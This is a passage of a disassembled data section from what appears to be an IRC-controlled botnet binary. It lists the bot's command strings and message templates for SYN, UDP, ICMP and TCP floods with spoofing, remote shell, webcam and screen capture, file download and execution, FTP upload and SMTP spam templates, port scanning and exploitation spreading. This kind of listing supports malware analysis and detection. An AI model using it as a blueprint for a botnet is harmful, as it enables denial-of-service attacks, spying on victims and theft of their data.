dword_4356BC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4869o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_4356E4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4861o
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 10h
dword_435720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+481Bo
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 10h
dword_435750	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4807o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 8
dword_435788	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_4133D3o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
		align 8
dword_4357D8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_4133C9o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_435828	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43+4773o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 8
dword_435868	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_413314o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_4358B0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_41330Do
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_4358F4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43+46BAo
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EC43:loc_413281o
		align 4
dword_435938	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43+4631o
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_43596C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43+45FBo
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EC43:loc_4131EAo
dword_4359A8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_4131D7o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_4359F0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_4131D0o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_435A2C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EC43+457Do
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EC43:loc_413187o
		align 10h
dword_435A70	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4526o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_435A98	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_41312Eo
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_435AD8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+44D5o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_435B0C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4453o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_435B38	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4415o
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_435B64	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+43BFo
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_435B90	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4354o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_435BB4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EC43+431Ao
					; sub_40EC43+4E2Eo
dword_435BC0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+42F3o
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EC43+42E5o
		align 4
dword_435BF8	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EC43+42BCo
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_435C24	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EC43+4251o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_435C50	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EC43+41FCo
dword_435C58	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EC43+41CAo
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_435C84	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EC43+4174o
					; sub_40EC43+4C8Do
dword_435C8C	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EC43+4155o
dword_435C98	dd 54524150h, 732520h	; DATA XREF: sub_40EC43+40EEo
dword_435CA0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_412D1Eo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_435CE4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+40A4o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EC43+4053o
		align 4
dword_435D14	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_412C4Eo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_435D38	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EC43+3FCBo
					; sub_40EC43+407Eo ...
unk_435D48	db    2			; DATA XREF: sub_40EC43:loc_412BBDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
		align 10h
unk_435DA0	db    2			; DATA XREF: sub_40EC43+3F5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_435DEC	db    2			; DATA XREF: sub_40EC43+3F02o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EC43+3E5Co
		align 4
dword_435E34	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EC43+3DFDo
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_435E5C	db    2			; DATA XREF: sub_40EC43+3DF2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_435E90	db    2			; DATA XREF: sub_40EC43+3D40o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_435EDC	db    2			; DATA XREF: sub_40EC43+3CDCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s in: %s.',0
		align 4
dword_435F1C	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EC43:loc_412881o
					; sub_40EC43:loc_41372Ao
		dd 0BBBB0220h, 2002h
unk_435F38	db    2			; DATA XREF: sub_40EC43+3C29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_435F70	db    2			; DATA XREF: sub_40EC43:loc_41284Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_435FB8	db    2			; DATA XREF: sub_40EC43+3BE8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_436000	db    2			; DATA XREF: sub_40EC43+3B84o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 10h
unk_436040	db    2			; DATA XREF: sub_40EC43+3AF8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_13	db ' Failed to start clone thread, error: <%d>.',0
unk_436088	db    2			; DATA XREF: sub_40EC43+3A9Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_4360C8	db    2			; DATA XREF: sub_40EC43+39F5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_436110	db    2			; DATA XREF: sub_40EC43+3993o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 10h
dword_436150	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+38ECo
		dd 2BBBB02h
aFailedToSta_15	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436198	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+3884o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
		align 8
unk_4361D8	db    2			; DATA XREF: sub_40EC43+37FFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_436228	db    2			; DATA XREF: sub_40EC43+37A6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 8
unk_436268	db    2			; DATA XREF: sub_40EC43+36C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 10h
unk_4362C0	db    2			; DATA XREF: sub_40EC43+3669o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
		align 10h
unk_436310	db    2			; DATA XREF: sub_40EC43+35C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_17	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436360	db    2			; DATA XREF: sub_40EC43+3570o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EC43+34ECo
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EC43+33F2o
		align 4
dword_4363CC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EC43+3364o
					; sub_40EC43+43A0o
unk_4363D8	db    2			; DATA XREF: sub_40EC43+32F0o
					; sub_40EC43+5119o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436420	db    2			; DATA XREF: sub_40EC43+3297o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EC43+326Co
					; sub_40EC43+508Fo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EC43+3265o
					; sub_40EC43+5088o
		align 8
unk_4364A8	db    2			; DATA XREF: sub_40EC43+3127o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_19	db '  Failed to start scan, no IP specified.',0
		align 10h
unk_4364F0	db    2			; DATA XREF: sub_40EC43+2FE1o
					; sub_40EC43+4ED3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 10h
dword_436540	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2F9Bo
		dd 2BBBB02h
aFailedToSta_20	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436588	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2F42o
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EC43+2E8Bo
		align 4
unk_4365F8	db    2			; DATA XREF: sub_40EC43+2E61o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_436640	db    2			; DATA XREF: sub_40EC43+2E08o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_436698	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_41197Bo
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_4366E0	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2D1Co
		dd 2BBBB02h
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436728	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2CB8o
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40EC43+2CA8o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EC43+2CA1o
dword_43677C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2C0Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4367B4	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_411766o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4367F0	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2B1Co
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EC43+2B05o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EC43+2AEEo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EC43+2ACEo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EC43+2A99o
		align 4
dword_436868	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2A13o
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EC43+29F0o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EC43+29CDo
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EC43+29B6o
		align 10h
dword_4368C0	dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h
					; DATA XREF: sub_40EC43+2967o
		dd 69616D65h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h
a15MessageSentT	db '15  Message sent to %s.',0
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EC43+28F3o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EC43+2857o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EC43+2808o
		align 4
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EC43+27F1o
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EC43+27DAo
		align 4
aP:					; DATA XREF: sub_40EC43+27C3o
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EC43+27ACo
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EC43+2795o
		align 4
aU_0:					; DATA XREF: sub_40EC43+277Eo
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EC43+2767o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EC43+2750o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EC43+2739o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EC43+2722o
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EC43+26F9o
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EC43+26E2o
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EC43+26CBo
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EC43+26B4o
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EC43+269Do
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EC43+2686o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EC43+266Fo
		align 10h
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EC43+2658o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EC43+2641o
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EC43+262Ao
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EC43+2613o
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EC43+25FCo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EC43+25A0o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EC43+2589o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EC43+2560o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EC43+2549o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EC43+2532o
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EC43+251Bo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EC43+2504o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EC43+24EDo
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EC43+24D6o
		align 10h
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EC43+24BFo
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EC43+24A8o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EC43+2491o
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EC43+247Ao
		align 10h
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EC43+2463o
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EC43+244Co
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EC43+2435o
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EC43+241Eo
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EC43+2407o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EC43+23F0o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EC43+23D9o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EC43+23C2o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EC43+23ABo
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EC43+2394o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EC43+237Do
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EC43+2366o
		align 10h
